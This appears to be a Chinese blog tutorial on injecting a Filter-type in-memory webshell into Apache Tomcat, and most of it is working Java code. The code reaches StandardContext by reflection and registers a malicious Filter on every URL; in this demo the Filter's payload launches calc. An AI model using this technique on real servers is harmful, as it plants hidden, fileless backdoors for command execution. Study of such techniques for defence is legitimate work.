1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| try {
System.out.println("获取StandardContext对象");
ServletContext servletContext1 = req.getSession().getServletContext(); Field context = null; context = ApplicationContextFacade.class.getDeclaredField("context"); context.setAccessible(true); Field context2 = ApplicationContext.class.getDeclaredField("context"); context2.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext1); StandardContext context1 = (StandardContext) context2.get(applicationContext);
System.out.println("将EvilFilter添加到FilterDef"); FilterDef filterDef = new FilterDef(); Filter evilFilter = new Filter(){ @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { Runtime.getRuntime().exec("calc"); chain.doFilter(request, response); }
@Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void destroy() {
} }; filterDef.setFilter(evilFilter); String filterName = "evil"; filterDef.setFilterName(filterName); filterDef.setFilterClass(evilFilter.getClass().getName()); System.out.println("将FilterDef添加到FilterDefs"); context1.addFilterDef(filterDef);
System.out.println("获取filterConfig并添加到filterConfigs"); Constructor<ApplicationFilterConfig> declaredConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); declaredConstructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = declaredConstructor.newInstance(context1, filterDef); Field filterConfigs = StandardContext.class.getDeclaredField("filterConfigs"); filterConfigs.setAccessible(true);
Map map = (Map) filterConfigs.get(context1); map.put(filterName, applicationFilterConfig);
System.out.println("将filterMap添加到StandardContext");
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(filterName); filterMap.setDispatcher(DispatcherType.REQUEST.name()); context1.addFilterMapBefore(filterMap); System.out.println("内存马注入成功");
} catch (NoSuchFieldException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (InstantiationException e) { e.printStackTrace(); }
|
要实现一个Filter类型的内存马,必要要完成以下的步骤
- 获取StandardContext对象
- 写一个恶意FIlter
- 将恶意Filter加入到FilterDef中
- 将FIlterDef加入到FilterDefs中
- 将FilterDefs封装到FilterConfig中
- 将FilterCOnfig封装到FilterConfigs中
- 添加FIlter Parttern
首先要获取Standard对象
利用IDEA的Evaluate工具我们可以知道req.getSession().getServletContext()的执行结果是一个ApplicationContextFacade对象,在其中有一个Context属性为APplicationContext类型的对象,这个APplicationContext类型的对象中有有一个属性context为StrandardContext类型的对象,也就是我们需要的。

所以我们利用两次反射就可以获取到该StandardContext对象
1 2 3 4 5 6 7 8
| ServletContext servletContext1 = req.getSession().getServletContext(); Field context = null; context = ApplicationContextFacade.class.getDeclaredField("context"); context.setAccessible(true); Field context2 = ApplicationContext.class.getDeclaredField("context"); context2.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext1); StandardContext context1 = (StandardContext) context2.get(applicationContext);
|
还有另一种获取到StandardContext对象的方式,可以直接通过request对象获取
1 2 3 4
| Field request = req.getClass().getDeclaredField("request"); request.setAccessible(true); Request request1 = (Request) request.get(request); StandardContext context1 = (StandardContext) request1.getContext();
|
嗯,就这么多想说的,后面的看代码就好了,主要就是按照上面的步骤来注入就行了,这里注意恶意的Filter类必须显式的重写init与destory方法,否则你会发现怎么都注入不成功,当然这都是我踩过的坑,浪费了我很多时间。。。